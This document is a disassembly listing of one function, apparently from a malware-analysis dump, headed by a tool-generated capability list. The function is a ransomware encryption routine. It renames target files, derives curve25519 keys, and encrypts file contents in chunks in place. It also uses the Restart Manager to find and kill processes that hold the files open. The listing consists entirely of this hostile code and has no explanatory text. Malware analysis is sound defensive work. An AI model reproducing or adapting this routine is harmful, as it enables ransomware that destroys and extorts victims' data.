Function at 0x409780
Capabilities:
Contain obfuscated stackstrings
Create restart manager session
Encrypt data using curve25519
Enumerate processes that use resource
Generate random numbers via winapi
Get file size
Move file
Read file on windows
Set file attributes
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2cc0
call fcn.00413290
mov byte [ebp - 0x4c], 9
mov byte [ebp - 0x4b], 0
mov byte [ebp - 0x4a], 0
mov byte [ebp - 0x49], 0
mov byte [ebp - 0x48], 0
mov byte [ebp - 0x47], 0
mov byte [ebp - 0x46], 0
mov byte [ebp - 0x45], 0
mov byte [ebp - 0x44], 0
mov byte [ebp - 0x43], 0
mov byte [ebp - 0x42], 0
mov byte [ebp - 0x41], 0
mov byte [ebp - 0x40], 0
mov byte [ebp - 0x3f], 0
mov byte [ebp - 0x3e], 0
mov byte [ebp - 0x3d], 0
mov byte [ebp - 0x3c], 0
mov byte [ebp - 0x3b], 0
mov byte [ebp - 0x3a], 0
mov byte [ebp - 0x39], 0
mov byte [ebp - 0x38], 0
mov byte [ebp - 0x37], 0
mov byte [ebp - 0x36], 0
mov byte [ebp - 0x35], 0
mov byte [ebp - 0x34], 0
mov byte [ebp - 0x33], 0
mov byte [ebp - 0x32], 0
mov byte [ebp - 0x31], 0
mov byte [ebp - 0x30], 0
mov byte [ebp - 0x2f], 0
mov byte [ebp - 0x2e], 0
mov byte [ebp - 0x2d], 0
mov dword [ebp - 0x88], 1
mov eax, 0x6420676e
mov dword [ebp - 0x130], 0x756f6863
mov dword [ebp - 0x12c], eax
mov ecx, 0x6b6f6f6c
mov dword [ebp - 0x128], 0x20676e6f
mov dword [ebp - 0x124], ecx
mov edx, 0x6820656b
mov dword [ebp - 0x120], 0x696c2073
mov dword [ebp - 0x11c], edx
mov eax, 0x2121676f
mov dword [ebp - 0x118], 0x6420746f
mov dword [ebp - 0x114], eax
push 0x80
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 0xe]
push eax
call fcn.00412ed0
add esp, 4
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x40a38f
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x403a74
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 9
mov ecx, dword [ebp - 0x28]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
je 0x40a2f7
push 0
push 0x8000000
push 3
push 0
push 0
push 0xc0000000
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.00412f00
add esp, 4
cmp dword [ebp - 4], 0xffffffff
je 0x409df6
lea edx, [ebp - 0x20]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push 0x100000
call fcn.00412ed0
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x409de7
lea ecx, [ebp - 0xf0]
push ecx
push 0x20
mov edx, dword [0x414260]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov eax, 1
imul ecx, eax, 0
movzx edx, byte [ebp + ecx - 0xf0]
and edx, 0xf8
mov eax, 1
imul ecx, eax, 0
mov byte [ebp + ecx - 0xf0], dl
mov edx, 1
imul eax, edx, 0x1f
movzx ecx, byte [ebp + eax - 0xf0]
and ecx, 0x7f
mov edx, 1
imul eax, edx, 0x1f
mov byte [ebp + eax - 0xf0], cl
mov ecx, 1
imul edx, ecx, 0x1f
movzx eax, byte [ebp + edx - 0xf0]
or eax, 0x40
mov ecx, 1
imul edx, ecx, 0x1f
mov byte [ebp + edx - 0xf0], al
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0xf0]
push ecx
lea edx, [ebp - 0x158]
push edx
call fcn.00404e80
add esp, 0xc
push 0x4141b8
lea eax, [ebp - 0xf0]
push eax
lea ecx, [ebp - 0x110]
push ecx
call fcn.00404e80
add esp, 0xc
lea edx, [ebp - 0x198]
push edx
push 0x20
lea eax, [ebp - 0x110]
push eax
call fcn.00410b20
add esp, 0xc
push 0x100
push 0x100
lea ecx, [ebp - 0x198]
push ecx
lea edx, [ebp - 0x12a8]
push edx
call fcn.0040fec0
add esp, 0x10
lea eax, [ebp - 0x178]
push eax
lea ecx, [ebp - 0x12a8]
push ecx
call fcn.0040ff50
add esp, 8
push 0x40
lea edx, [ebp - 0x198]
push edx
call fcn.004105c0
add esp, 8
mov dword [ebp - 0x138], eax
push 0x40
push 0
mov eax, 4
imul ecx, eax, 0
lea edx, [ebp + ecx - 0x224]
push edx
call fcn.00412e60
add esp, 0xc
push 0x40
push 0
lea eax, [ebp - 0x198]
push eax
call fcn.00412e60
add esp, 0xc
push 0x40
push 0
lea ecx, [ebp - 0x110]
push ecx
call fcn.00412e60
add esp, 0xc
xorps xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
push 0
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
cmp dword [ebp - 0x1c], 0
jl 0x409bb7
jg 0x409ac2
cmp dword [ebp - 0x20], 0x1400000
jbe 0x409bb7
push 0
push 0xa00000
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x20]
push eax
call fcn.004131e0
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], edx
xorps xmm0, xmm0
movlpd qword [ebp - 0x74], xmm0
jmp 0x409afe
mov ecx, dword [ebp - 0x74]
add ecx, 1
mov edx, dword [ebp - 0x70]
adc edx, 0
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x70], edx
mov eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0xb4]
jg 0x409bb2
jl 0x409b1e
mov ecx, dword [ebp - 0x74]
cmp ecx, dword [ebp - 0xb8]
jae 0x409bb2
push 0
lea edx, [ebp - 0x24]
push edx
push 0x100000
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
lea edx, [ebp - 0x12a8]
push edx
push 0
call fcn.004102b0
add esp, 0x14
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x50]
push eax
push 0x100000
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x14]
add eax, 0xa00000
mov ecx, dword [ebp - 0x10]
adc ecx, 0
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ecx
push 0
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
jmp 0x409aec
jmp 0x409d8e
cmp dword [ebp - 0x1c], 0
jl 0x409cbb
jg 0x409bd0
cmp dword [ebp - 0x20], 0x500000
jbe 0x409cbb
push 0
push 3
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x20]
push eax
call fcn.004131e0
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], edx
xorps xmm0, xmm0
movlpd qword [ebp - 0x7c], xmm0
jmp 0x409c09
mov ecx, dword [ebp - 0x7c]
add ecx, 1
mov edx, dword [ebp - 0x78]
adc edx, 0
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x78], edx
cmp dword [ebp - 0x78], 0
jg 0x409cb6
jl 0x409c1f
cmp dword [ebp - 0x7c], 3
jae 0x409cb6
push 0
lea eax, [ebp - 0x24]
push eax
push 0x100000
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 8]
push edx
lea eax, [ebp - 0x12a8]
push eax
push 0
call fcn.004102b0
add esp, 0x14
push 0
push 0
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea ecx, [ebp - 0x50]
push ecx
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x10]
adc eax, dword [ebp - 0xbc]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], eax
push 0
push 0
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
jmp 0x409bf7
jmp 0x409d8e
cmp dword [ebp - 0x1c], 0
jl 0x409d8e
jg 0x409cd1
cmp dword [ebp - 0x20], 0
jbe 0x409d8e
cmp dword [ebp - 0x1c], 0
jl 0x409cfe
jg 0x409cdf
cmp dword [ebp - 0x20], 0x40
jbe 0x409cfe
push 0
push 0xa
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call fcn.004131e0
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xa8], edx
jmp 0x409d10
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xa8], ecx
mov edx, dword [ebp - 0xac]
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0xc8], edx
mov dword [ebp - 0xc4], eax
push 0
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 0xc8]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
lea edx, [ebp - 0x12a8]
push edx
push 0
call fcn.004102b0
add esp, 0x14
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x50]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x10cc
push 0
lea ecx, [ebp - 0x12a8]
push ecx
call fcn.00412e60
add esp, 0xc
xorps xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
push 2
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea edx, [ebp - 0x50]
push edx
push 0x48
lea eax, [ebp - 0x158]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 8]
push edx
call fcn.00412f00
add esp, 4
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40a2f2
cmp dword [ebp - 0x88], 0
je 0x40a25a
mov dword [ebp - 0x18], 0
push 0x42
push 0
lea ecx, [ebp - 0x1dc]
push ecx
call fcn.00412e60
add esp, 0xc
lea edx, [ebp - 0x1dc]
push edx
push 0
lea eax, [ebp - 0x60]
push eax
call sub.RstrtMgr.DLL_RmStartSession
test eax, eax
jne 0x409e3f
mov dword [ebp - 0x98], 1
jmp 0x409e49
mov dword [ebp - 0x98], 0
mov ecx, dword [ebp - 0x98]
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 0
je 0x40a1c0
push 0
push 0
push 0
push 0
lea edx, [ebp + 8]
push edx
push 1
mov eax, dword [ebp - 0x60]
push eax
call sub.RstrtMgr.DLL_RmRegisterResources
test eax, eax
jne 0x409e83
mov dword [ebp - 0x9c], 1
jmp 0x409e8d
mov dword [ebp - 0x9c], 0
mov ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 0
je 0x40a10e
mov dword [ebp - 0xa4], 0xa
lea edx, [ebp - 0xcc]
push edx
lea eax, [ebp - 0x2cc0]
push eax
lea ecx, [ebp - 0xa4]
push ecx
lea edx, [ebp - 0xd0]
push edx
mov eax, dword [ebp - 0x60]
push eax
call sub.RstrtMgr.DLL_RmGetList
test eax, eax
jne 0x409edf
mov dword [ebp - 0xa0], 1
jmp 0x409ee9
mov dword [ebp - 0xa0], 0
mov ecx, dword [ebp - 0xa0]
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 0
je 0x40a081
mov dword [ebp - 0xc], 0
jmp 0x409f0e
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0xa4]
jae 0x40a07c
imul ecx, dword [ebp - 0xc], 0x29c
cmp dword [ebp + ecx - 0x2a34], 4
je 0x40a077
imul edx, dword [ebp - 0xc], 0x29c
cmp dword [ebp + edx - 0x2a34], 0x3e8
je 0x40a077
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
imul ecx, dword [ebp - 0xc], 0x29c
cmp eax, dword [ebp + ecx - 0x2cc0]
je 0x40a077
imul edx, dword [ebp - 0xc], 0x29c
mov eax, dword [ebp + edx - 0x2cc0]
push eax
push 0
push 0x100001
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffff
je 0x409fb3
push 0
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x1388
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40a077
cmp dword [0x41425c], 0
je 0x40a077
push 0
push 0
push 0
push 0
imul ecx, dword [ebp - 0xc], 0x29c
lea edx, [ebp + ecx - 0x2cb4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
imul eax, dword [ebp - 0xc], 0x29c
lea ecx, [ebp + eax - 0x2cb4]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0xb0], eax
mov edx, dword [ebp - 0xb0]
push edx
call fcn.00412ed0
add esp, 4
mov dword [ebp - 0x54], eax
push 0
push 0
mov eax, dword [ebp - 0xb0]
push eax
mov ecx, dword [ebp - 0x54]
push ecx
imul edx, dword [ebp - 0xc], 0x29c
lea eax, [ebp + edx - 0x2cb4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
imul ecx, dword [ebp - 0xc], 0x29c
lea edx, [ebp + ecx - 0x2cb4]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov eax, dword [ebp - 0x54]
push eax
push 0x401a5c
call fcn.00404d30
add esp, 0xc
mov ecx, dword [ebp - 0x54]
push ecx
call fcn.00412f00
add esp, 4
jmp 0x409f05
jmp 0x40a109
cmp dword [0x41425c], 0
je 0x40a109
push 0
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x80], eax
mov ecx, dword [ebp - 0x80]
push ecx
call fcn.00412ed0
add esp, 4
mov dword [ebp - 0x58], eax
push 0
push 0
mov edx, dword [ebp - 0x80]
push edx
mov eax, dword [ebp - 0x58]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, dword [ebp + 8]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x58]
push ecx
push 0x403a84
call fcn.00404d30
add esp, 0xc
mov edx, dword [ebp - 0x58]
push edx
call fcn.00412f00
add esp, 4
jmp 0x40a1a3
cmp dword [0x41425c], 0
je 0x40a1a3
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x84], eax
mov edx, dword [ebp - 0x84]
push edx
call fcn.00412ed0
add esp, 4
mov dword [ebp - 0x5c], eax
push 0
push 0
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x5c]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x5c]
push edx
push 0x403a94
call fcn.00404d30
add esp, 0xc
mov eax, dword [ebp - 0x5c]
push eax
call fcn.00412f00
add esp, 4
mov ecx, dword [ebp - 0x60]
push ecx
call sub.RstrtMgr.DLL_RmEndSession
mov dword [ebp - 0x88], 0
jmp 0x4098d3
cmp dword [0x41425c], 0
je 0x40a255
push 0
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x8c], eax
mov ecx, dword [ebp - 0x8c]
push ecx
call fcn.00412ed0
add esp, 4
mov dword [ebp - 0x64], eax
push 0
push 0
mov edx, dword [ebp - 0x8c]
push edx
mov eax, dword [ebp - 0x64]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, dword [ebp + 8]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x64]
push ecx
push 0x403ab0
call fcn.00404d30
add esp, 0xc
mov edx, dword [ebp - 0x64]
push edx
call fcn.00412f00
add esp, 4
jmp 0x40a2f2
cmp dword [0x41425c], 0
je 0x40a2f2
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x90], eax
mov edx, dword [ebp - 0x90]
push edx
call fcn.00412ed0
add esp, 4
mov dword [ebp - 0x68], eax
push 0
push 0
mov eax, dword [ebp - 0x90]
push eax
mov ecx, dword [ebp - 0x68]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, dword [ebp - 0x68]
push ecx
push 0x403ac8
call fcn.00404d30
add esp, 0xc
mov edx, dword [ebp - 0x68]
push edx
call fcn.00412f00
add esp, 4
jmp 0x40a38f
cmp dword [0x41425c], 0
je 0x40a38f
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x94], eax
mov edx, dword [ebp - 0x94]
push edx
call fcn.00412ed0
add esp, 4
mov dword [ebp - 0x6c], eax
push 0
push 0
mov eax, dword [ebp - 0x94]
push eax
mov ecx, dword [ebp - 0x6c]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, dword [ebp - 0x6c]
push ecx
push 0x403aec
call fcn.00404d30
add esp, 0xc
mov edx, dword [ebp - 0x6c]
push edx
call fcn.00412f00
add esp, 4
mov esp, ebp
pop ebp
ret